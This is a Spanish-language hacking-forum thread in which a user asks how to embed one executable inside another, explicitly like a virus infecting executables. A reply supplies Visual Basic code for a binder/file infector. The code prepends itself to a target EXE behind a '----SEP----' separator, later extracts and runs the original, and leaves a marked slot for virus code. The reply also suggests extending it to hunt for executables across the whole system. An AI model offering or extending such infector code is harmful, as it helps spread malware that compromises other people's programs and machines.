Autor
|
Tema: arxivos binarios (Leído 1,598 veces)
|
Lambda
|
wenas tngo una duda ^_^ toy haciendo ujn programa k lee un arxivo binario, pero lo k quiero es insertar ese binario en el propio programa dl VB, o sea quiero meter un exe a otro exe para k el exe 2º me lo sake, algo como un virus k infecta a los ejecutables, espero k me ayan entendido jaja
|
|
|
En línea
|
|
|
|
Hendrix
|
Pasate por aki e intenta entender el kodigo.... Salu2 Hendrix
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
Lambda
|
dnde esta el link ¬¬ xk no veo nada :huh:xDDD
salu2 PD: alomejor no lo e pillao xDDD
|
|
|
En línea
|
|
|
|
Hendrix
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
NYlOn
Desconectado
Mensajes: 842
OOOOHHHHHH, TARAGÜIIII xDDDDDD
|
Espero que este codigo te sirva, lo hice hace un tiempo ya para experimentar. Funciona mas como binder, pero si tu objetivo es infectar EXEs lo podes modificar para que vaya buscando ejecutables por todo el sistema y un par de cosas mas. Private Sub Form_Load() Dim Datos As String Dim Original As String Dim Yo As String Dim Result As String Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo' Close #1 Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split) If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
Result = Buff(1) Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos Put #2, , Result 'ponemos todo lo que hay DEBAJO del separador Close #2 DoEvents Shell "C:\Resultado.exe" 'abrimos el programa (el original) MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall" Unload Me 'nos cerramos(optativo xD) Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos... Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original' Close #3 Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando) Open "C:\ProgramaAInfectar.exe" For Binary As #4 'abrimos el programa a infectar (modificar esta linea) Put #4, , Datos 'metemos los datos que grabamos antes Close #4 End If
End Sub
'Al final de todo el proceso, el programa quedaria asi: ' '-------------------------- 'Nuestro programa '---SEPARADOR--- 'Programa original '-------------------------- ' ' 'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa, 'este busca lo que hay debajo del separador y lo mete en un nuevo archivo, 'despues abrimos ese archivo y salimos. ' ' ' Un abrazo y suerte ' ' ' ' .NYlOn. ' '¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
Saludos !.-
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
que otras vulnerabilidades existen a nivel de binarios?
Hacking
|
sircam666
|
4
|
3,021
|
8 Agosto 2011, 10:41 am
por .:UND3R:.
|
|
|
¿que diferencia ahi entre ficheros binarios y ficheros binarios con estructura?
Windows
|
Anonymous250
|
0
|
1,985
|
10 Noviembre 2011, 13:37 pm
por Anonymous250
|
|
|
modificar los binarios / enkriptar exe
Programación Visual Basic
|
Rigoberta II
|
1
|
1,899
|
5 Julio 2012, 07:25 am
por Elemental Code
|
|
|
Registros ASCII con valores binarios en el medio
« 1 2 »
Programación C/C++
|
Xedrox
|
11
|
5,779
|
27 Octubre 2012, 08:18 am
por BlackZeroX
|
|
|
>>>>>>>>>>>>>>Convertir binarios en python<<<<<<<<<<<<<<<
Scripting
|
NIKOLAY7
|
3
|
9,565
|
7 Enero 2013, 21:04 pm
por Karcrack
|
|